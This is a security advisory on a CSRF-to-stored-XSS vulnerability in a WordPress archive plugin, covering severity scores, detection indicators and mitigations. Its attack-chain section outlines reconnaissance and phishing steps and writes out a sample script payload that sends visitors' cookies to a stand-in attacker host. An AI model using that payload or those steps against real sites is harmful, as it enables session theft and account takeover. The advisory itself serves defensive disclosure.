CVE-2025-49346: 
WordPress vulnerability analysis and mitigation

CVE-2025-49346 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Simple Archive Generator by Peter Sterling that enables Stored Cross-Site Scripting (XSS) attacks. It affects all versions of the plugin through and including version 5.2, with no official patch available as of the disclosure date. The vulnerability was reported by researcher Skalucy on October 22, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) and maps to OWASP Top 10 category A1: Broken Access Control. The plugin fails to implement adequate CSRF token validation on one or more of its form-handling endpoints, allowing an unauthenticated attacker to craft a malicious request that, when executed by an authenticated privileged user (e.g., an administrator), stores a malicious script payload within the WordPress site. This chained CSRF-to-Stored-XSS attack vector means the injected script persists and executes in the browsers of subsequent site visitors or administrators, amplifying the impact beyond a single session (Patchstack).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into the WordPress site, affecting confidentiality (e.g., session cookie theft, credential harvesting), integrity (e.g., defacement, unauthorized content modification), and availability (e.g., redirecting users or disrupting site functionality). Because the XSS payload is stored server-side, it executes for every user who visits the affected page, potentially enabling account takeover of administrators or site visitors. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable component to the browsers of affected users (Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. The vulnerability is rated Low priority by Patchstack, which notes it is unlikely to be exploited despite the theoretical risk of mass-exploit campaigns targeting WordPress plugins. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Simple Archive Generator plugin version ≤ 5.2 using tools like WPScan or by checking publicly accessible plugin metadata (e.g., /wp-content/plugins/simple-archive-generator/readme.txt).
2. Craft malicious CSRF request: Create an HTML page or form that submits a forged POST request to the vulnerable plugin endpoint, embedding a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin-controlled input field.
3. Social engineering: Deliver the malicious page to a logged-in WordPress administrator via phishing email, malicious link, or compromised third-party site, inducing them to load the page and trigger the forged request.
4. Payload stored: The CSRF request executes under the administrator's session, causing the plugin to save the malicious script to the WordPress database without CSRF token validation.
5. XSS execution: Subsequent visitors or administrators who load the affected archive page trigger the stored script, enabling session hijacking, credential theft, or further site compromise (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin-related admin endpoints (e.g., wp-admin/admin-post.php or wp-admin/options.php) from unusual referrer origins or with no valid nonce parameters.
• Database: Unexpected <script> tags or JavaScript URIs stored in WordPress database tables associated with the Simple Archive Generator plugin settings or post meta.
• Network: Outbound requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages rendered by the plugin.
• File System: No direct file-system artifacts expected, as the payload is stored in the database; however, review wp_options or relevant plugin tables for injected script content.

As of the disclosure date (December 31, 2025), no official patch is available for the Simple Archive Generator plugin. Site administrators should immediately deactivate and remove the plugin until a patched version is released. As a compensating control, web application firewalls (WAFs) such as those provided by Patchstack, Wordfence, or Cloudflare can be configured to block CSRF and XSS attack patterns targeting WordPress plugin endpoints. Administrators should also enforce strict Content Security Policy (CSP) headers to limit the impact of any stored XSS payloads (Patchstack).

The vulnerability was discovered by independent researcher Skalucy and disclosed through Patchstack's coordinated vulnerability disclosure program. Patchstack classified it as low priority, noting it is unlikely to be exploited in practice despite the theoretical risk. No significant vendor statements, notable researcher commentary, or broader media coverage has been identified beyond the Patchstack advisory (Patchstack).